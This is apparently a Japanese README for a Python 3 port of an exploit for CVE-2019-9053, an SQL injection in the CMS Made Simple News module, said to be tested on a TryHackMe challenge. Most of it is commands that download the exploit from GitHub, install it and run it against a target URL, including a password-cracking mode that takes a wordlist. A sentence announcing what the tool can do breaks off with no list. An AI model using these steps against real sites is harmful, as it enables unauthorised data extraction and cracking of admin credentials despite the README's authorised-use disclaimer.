
CVE-2019-9053.
これは CVE-2019-9053 エクスプロイトの Python 3 移植版で、CMS Made Simple (CMSMS) バージョン 2.2.10 未満を対象としています。この脆弱性により、News モジュールインターフェースを通じた SQL インジェクションが可能になります。
TryHackMe Simple CTF Challenge でテスト済み。

このエクスプロイトは、CMS Made Simple の News モジュールにおける SQL インジェクションの脆弱性を利用します。以下のことが可能です:
以下のコマンドですばやくダウンロードして実行します:
# Download the exploit
curl -O https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/exploit.py
# Download requirements
curl -O https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/requirements.txt
# Install requirements
pip install -r requirements.txt
# Make exploit executable
chmod +x exploit.py
# Run the exploit
./exploit.py -u http://target.com/cms
wget を使用する代替方法:
wget https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/exploit.py
wget https://raw.githubusercontent.com/del0x3/CVE-2019-9053-port-py3/main/requirements.txt
pip install -r requirements.txt
chmod +x exploit.py
./exploit.py -u http://target.com/cms
git clone https://github.com/del0x3/CVE-2019-9053-port-py3.git
cd CVE-2019-9053-port-py3
pip install -r requirements.txt
基本的な使い方:
python3 exploit.py -u http://target.com/cms
パスワードクラック付き:
python3 exploit.py -u http://target.com/cms -c -w /path/to/wordlist.txt
-u, --url: ターゲットのベース URL (必須)-w, --wordlist: パスワードクラック用のワードリストへのパス-c, --crack: パスワードクラックモードを有効にするこのツールは教育およびセキュリティ研究目的のみに使用されます。明示的な許可なくシステムに対して使用しないでください。
MIT ライセンス